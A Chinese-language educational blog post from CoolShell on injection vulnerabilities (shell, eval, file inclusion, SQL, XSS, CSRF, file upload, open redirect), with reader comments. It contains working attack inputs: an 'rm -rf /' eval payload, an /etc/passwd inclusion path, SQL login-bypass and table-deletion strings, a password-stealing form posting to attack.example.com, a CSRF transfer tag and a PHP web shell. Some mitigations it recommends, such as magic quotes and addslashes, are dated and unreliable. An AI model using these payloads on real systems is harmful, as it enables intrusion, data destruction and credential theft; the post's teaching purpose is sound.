程序员疫苗:代码注入

程序员疫苗:代码注入

几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。

我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。

Shell注入

我们先来看一段perl的代码:

use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
    while (<$fh>) {
        print escapeHTML($_);
        print "<br>\n";
    }
    close($fh);
}

如果用户输入的参数是:

coolshell.cn%20%3B%20/bin/ls%20-l

那么,这段perl的程序就成了:

/path/to/nslookup coolshell.cn ; /bin/ls -l

我们再来看一段PHP的程序:

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”)

再来看一个PHP的代码

$isadmin= false;
...
...
foreach ($_GET as $key => $value) {
  $$key = $value;
}

如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1”,然后攻击值就取得了网站应用的admin权限了。

再来看一个PHP的示例:

$action = 'login';
   if (__isset( $_GET['act'] ) )
      $action = $_GET['act'];
   require( $action . '.php' ); 

这个代码相当危险,攻击者有可能可以干这些事:

  • /test.php?act=http://evil/exploit – 注入远程机器上有漏洞的文件。
  • /test.php?act=/home/www/bbs/upload/exploit – 从一个已经上载、叫做exploit.php文件运行其代码。
  • /test.php?act=../../../../etc/passwd%00 – 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)

这样的示例有很多,只要你的程序有诸如:system()StartProcess()java.lang.Runtime.exec()System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。

PHP提供escapeshellarg()escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。

SQL注入

SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。

在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:

  1. 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
  2. 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
  3. 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
  4. 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。

例程:

某个网站的登录验证的SQL查询代码为

strSQL = "SELECT * FROM users
WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

用户在登录时恶意输入如下的的用户名和口令:

userName = "' OR '1'='1";
passWord = "' OR '1'='1";

此时,将导致原本的SQL字符串被解析为:

strSQL = "SELECT * FROM users
WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"

也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。

strSQL = "SELECT * FROM users;"

这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如:

username= "' ; DELETE FROM users; --";

这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。

所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳这篇文章里的SQL注入

当他们发现一个网站有SQL注入的时候,他们一般会干下面的事:

  • 盗取数据表中的数据,例如个人机密数据(信用卡,身份证,手机号,通讯录……),帐户数据,密码等,获得用户的数据和信息后对这些用户进行“社会工程学”活动(如:我前两天在微信上亲身经历)。
  • 取得系统管理员权限(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。
  • 在数据库中的数据中插入一些HTML/JS代码,有可能得以在网页加入恶意链接以及XSS,这样一来就让访问者被黑。
  • 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如:MS SQL Server的 xp_cmdshell “net stop iisadmin”可停止服务器的IIS服务)。甚至破坏硬盘数据,瘫痪全系统(例如xp_cmdshell “FORMAT C:”)。
现在的黑客比较坏,瘫痪系统的事,他们干的越来越少,因为没什么利益,他们希望通过获取用户的帐号信息后,转而攻击用户别的帐号,如游戏帐号,网银帐号,QQ帐号等等他们可以获利的事情(这就是为什么我希望大家在不站点上使用不同的口令,甚至不同的用户信息的原因)

如何避免

  • 在组合SQL字符串时,先针对所传入的参数作字符转义(如:将单引号字符取代为连续2个单引号字符)。如果使用PHP开发网页程序的话,亦可打开PHP的Magic quote功能自动将所有的网页传入参数,将单引号字符取代为连续2个单引号字符。如果可能应该过滤以下字符:分号“;”,两个减号“–”,单引号“’”,注释“/* … */”。(当然,因为注入攻击一般用闭合的引号来玩,所以把引号转义了应该就没有什么问题了)
  • 更换危险字符。例如在PHP通过addslashes()函数保护SQL注入。
  • 限制用户输入的长度,限制用户输入的取值范围。
  • 为当前应用建立权限比较小的数据库用户,这样不会导致数据库管理员丢失。
  • 把数据库操作封装成一个Service,对于敏感数据,对于每个客户端的IP,在一定时间内每次只返回一条记录。这样可以避免被拖库。

跨网站脚本注 入

跨网站脚本Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

假如我们有这样一段PHP的代码:

$username = $_GET['username'];
echo '<div> Welcome, ' . $username . '</div>';

那么我们可以这样来注入:

http://trustedSite.example.com/welcome.php?username=<Script Language=”Javascript”>alert(“You’ve been attacked!”);</Script>

甚至这样:

http://trustedSite.example.com/welcome.php?username=<div id=”stealPassword”>Please Login:<form name=”input” action=”http://attack.example.com/stealPassword.php” method=”post”>Username: <input type=”text” name=”username” /><br/>Password: <input type=”password” name=”password” /><input type=”submit” value=”Login” /></form></div>

这会让网页显示以下内容:

<div class="header"> Welcome,
    <div id="stealPassword">Please Login:
        <form name="input" action="attack.example.com/stealPassword.php" method="post">
            Username: <input type="text" name="username" />
            <br/>
            Password: <input type="password" name="password" />
            <input type="submit" value="Login" />
        </form>
    </div>
</div>

注入的代码还有可能变种为如下这种更为隐蔽的方式(unicode码):

trustedSite.example.com/welcome.php?username=<script+type=”text/javascript”>
document.write(‘\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D’);</script>

XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作(甚至偷用户的cookie)。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招,还有可能导致后台管理权限被盗。关于其中的一些细节可以参看《新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。

XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。

不要以为XSS攻击是我们的程序没有写好,有时候,我们会引用别人站点上的js文件,比如:放一个天气预报的小Widget的js,或是一个流量监控,或是一段广告的js文件。你不知道这些东西是不是有问题,如果有恶意的话,这就是你自己主动注入攻击代码了。

另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表

<table background=”javascript:alert(1)”>

<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾

<img src=”javascript:alert(1)”>

XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的)

于是,如果我在A站点内的某个贴子内注入这么一段代码:

<img src="http://bank.example.com/transfer?account=XXX&amount=1000000&for=haoel">

很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。

如何避免

要防止XSS攻击,一般来说有下面几种手段:

  • 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。
  • 严格过滤用户的输入。如:
    • PHP的htmlentities()或是htmlspecialchars()或是strip_tags()
    • Python的cgi.escape()
    • ASP的Server.HTMLEncode()
    • Node.js的node-validator。
    • Java的xssprotect
  • 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
  • 限制cookie的过期时间。
  • 对于CSRF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)

另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。

上传文件

上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。

举个例子:

<form action="upload_picture.php" method="post" enctype="multipart/form-data">
要上传的文件:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>

 

$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
    echo "图片文件上传成功";
}else{</div>
    echo "图片文件上传失败";
}

假如我上传了一个PHP文件如下:

<?php
system($_GET['cmd']);
?>

那么,我就可以通过如下的URL访问攻击你的网站了:

http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

抵御这样的攻击有两种手段:

1)限制上传文件的文件扩展名。

2)千万不要使用root或Administrator来运行你的Web应用。

URL跳转

URL跳转很有可能会成为攻击利用的工具。

比如下面的PHP代码:

$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。

于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。

http://bank.example.com/redirect?url=http://attacker.example.net

这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了

解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。

你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好)

(本篇文章结束)

这段时间工作和家里的事比较多,所以时间有限,更新不快,而此篇行文比较仓促,欢迎大家补充,并指出我文中的问题。


关注CoolShell微信公众账号可以在手机端搜索文章

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
好烂啊有点差凑合看看还不错很精彩 (34 人打了分,平均分: 4.71 )
Loading...

程序员疫苗:代码注入》的相关评论

  1. “不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。”
    初衷是好的,这样的网站如果有的话,也是好的,但是我想达不到这个目标。每个人一开始都想少走一些弯路,殊不知抱着这个想法已经开始走弯路了。就好像一个从没有感冒过的人,你告诉他天凉了,应该加衣服(否则会感冒的),他是不会相信的,直到有一天他真的感冒了(很痛苦),才知道天凉了应该加衣服否则会感冒。其实我觉得重复犯错不见得是一个坏事,我一直抱着的观点是“不经历,不知道”。多经历才好,不管是好的,坏的。经常解决错误会培养程序员的直觉,对错误感知和解决的直觉。
    当然,有这样一个网站,用来交流也是很好的。我只是借酷壳来表达一些不同的看法,(*^__^*) 嘻嘻……

  2. 更换危险字符。例如在PHP通过addslashes()函数保护SQL注入。
    不好意思 addslanshes 有bug,更加危险

  3. $username= “”; DELETE FROM user; –“;
    $sql = “select * from user where user=$username”;
    $arr = $db1->getOne($sql);
    echo “”;
    print_r($arr);
    我执行这段代码的时候,报错。
    Warning: mysql_fetch_assoc() expects parameter 1 to be resource, null given in F:\wamp\www\linkmysql.php on line 71
    并且表没有删除掉。
    请高手指点下。

  4. 防不胜防。
    程序员要做好功能,保证性能,保证能应付相当的用户规模。。。。还要防这么多可能的漏洞

  5. 有道理

    独酌逸醉 :
    “不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。”
    初衷是好的,这样的网站如果有的话,也是好的,但是我想达不到这个目标。每个人一开始都想少走一些弯路,殊不知抱着这个想法已经开始走弯路了。就好像一个从没有感冒过的人,你告诉他天凉了,应该加衣服(否则会感冒的),他是不会相信的,直到有一天他真的感冒了(很痛苦),才知道天凉了应该加衣服否则会感冒。其实我觉得重复犯错不见得是一个坏事,我一直抱着的观点是“不经历,不知道”。多经历才好,不管是好的,坏的。经常解决错误会培养程序员的直觉,对错误感知和解决的直觉。
    当然,有这样一个网站,用来交流也是很好的。我只是借酷壳来表达一些不同的看法,(*^__^*) 嘻嘻……

  6. 文章很好。但是这句,“可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。”,我是验证过的,gmail邮箱会把伪造的邮件全部接收,qqmail发几封之后就加黑了。可能是伪造的邮件是英文的缘故。但是觉得qqmail不见得就比gmail差啊。

  7. 哇哈哈投递一个歌词改编
    We don’t need no docum’ntation
    We don’t need no source control
    No dark sarcasm on the mail(ing) list
    Ninjas leave them kids alone

    No comments – code should speak alone!
    All in all it’s just another LOC

    We don’t need no code conventions
    We don’t need no (js)lint control
    No YSlow rules, no validation
    And who needs stinking unit tests?

    Hey, guru, leave them kids alone!
    All in all it’s just another kick in balls

    (原歌是Pink Floyd的Another Brick in the Wall Part 2)

    from http://www.phpied.com/another-loc/

  8. 关于SQL注入,我觉得最根本的免疫之道是不是应该避免在应用程序中利用字符串组合的方式来拼装SQL文。

    推荐的方式我认为应该是 SQL文从文件中读取,
    同时将SQL文中的可变数据全部使用 数据驱动程序 的绑参接口来传递参数。

  9. 对公开接口应该检测 参数的所有可能值。
    这里主要涉及到字符串的安全校验。

  10. shuiren :

    yuhai :
    @full_of_bullshit
    这个我也很想知道,模糊记得是利用缓冲区溢出来覆盖栈的返回地址或修改调用过程的参数值

    看看这偏,找个老的linux内核,做一遍就完完全全明白了
    http://www.ibm.com/developerworks/cn/linux/l-overflow/

    我看完了。我花了差不多两个小时认认真真看了一遍,越是最后简直是激动人心,对其中讲述的原理领悟让我感觉自己终于真正入门了!谢谢您的链接!

  11. 我的QQ邮箱就不是用来发/收邮件的。

    我一向用QQ邮箱发附件的。之后再用Gmail/hotmail发一封“

    您应该已经收到了一封包含附件的,来自 xxx@vip.qq.com 的邮件。请执行

    openssl enc -d -aes-256-cbc -a -in [附件].txt -out [解密文件位置].7z

    提示“enter aes-256-cbc decryption password:”时输入

    ****************************************

    这方法特爽,附件的上载速度得到保证,邮件也安全。推荐各位使用。

  12. 检查,过滤输入参数本来就是程序员一个重要的指责,
    if (NULL != p)的时候难道就没有想过如果p是一个不可读写内存怎么办?
    sql也是如此,光检查是否合法没用,还要检查是否是安全的。
    现在大部分程序员都是快餐式培训出来的(正规大学也一样没老师会教你这些基础的东西)
    所以还得靠自己好好学习才行。不过用来当车牌这个是有点猥琐流了。很猥琐哦(褒义词)

  13. 非常想收藏您的文章,但是我的收藏夹已经收藏了你太多文章,到处都是链接,于是我想,你为何不做一个会员中心呢,以便大家收藏啊。最后,好文章必须得顶!!!!!!!!!!!!!!!!!!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*